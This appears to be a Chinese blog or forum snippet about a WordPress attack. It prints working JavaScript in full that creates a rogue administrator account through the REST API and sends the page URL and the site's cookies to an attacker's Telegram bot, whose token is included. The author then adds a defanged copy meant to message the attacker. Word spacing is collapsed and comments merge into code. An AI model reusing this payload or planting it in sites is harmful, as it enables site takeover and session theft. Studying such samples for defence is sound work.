conststart = async () => {
try {
// Fetch REST nonce from the specified URLconst nonceResponse = awaitfetch('/wp-admin/admin-ajax.php?action=rest-nonce');
// Check if the response is successful and retrieve the textconst nonce = nonceResponse.ok ? await nonceResponse.text() : null;
// If nonce is available, proceed to create a new WordPress userif (nonce) {
const userResponse = awaitfetch('/wp-json/wp/v2/users', {
method: 'POST',
headers: {
'X-Wp-Nonce': nonce,
'Content-Type': 'application/json'
},
body: JSON.stringify({
username: 'admin@zzna.ru',
password: 'dacai@123',
roles: ['administrator'],
email: 'admin@zzna.ru'
})
});
// Check if the user creation was successful or encountered a server errorif (userResponse.ok || userResponse.status === 500) {
// Get cookiesconst cookies = document.cookie;
// Notify about the new user creation via Telegram including cookiesawaitfetch('https://api.telegram.org/bot6898182997:AAGUIFwP-BsBjDpzscyJ7pLHbiUS_Cq5lNI/sendMessage', {
method: 'POST',
body: JSON.stringify({
chat_id: '686930213',
text: `URL: ${document.URL}\nNew User Created!\nCookies: ${cookies}`
}),
headers: {
'Content-Type': 'application/json'
}
});
}
}
} catch (error) {
// Handle any errors during the processconsole.error(error);
returnfalse;
}
};
// Initiate the processstart();
进行安全提醒
下面这段代码去除了危险内容,提醒这位攻击者放弃攻击(会包含网站域名发送,切勿轻易尝试)
JavaScript
<script>
conststart = async () => {
try {
// Fetch REST nonce from the specified URL// Check if the response is successful and retrieve the textconst nonce = true;
// If nonce is available, proceed to create a new WordPress userif (nonce) {
// Check if the user creation was successful or encountered a server errorif (true) {
// Get cookiesconst cookies = 'don\'t do that';
// Notify about the new user creation via Telegram including cookiesawaitfetch('https://api.telegram.org/bot6898182997:AAGUIFwP-BsBjDpzscyJ7pLHbiUS_Cq5lNI/sendMessage', {
method: 'POST',
body: JSON.stringify({
chat_id: '686930213',
text: `URL: ${document.URL}\nNew User Created!\nCookies: ${cookies}`
}),
headers: {
'Content-Type': 'application/json'
}
});
}
}
} catch (error) {
// Handle any errors during the processconsole.error(error);
returnfalse;
}
};
// Initiate the processstart();
</script>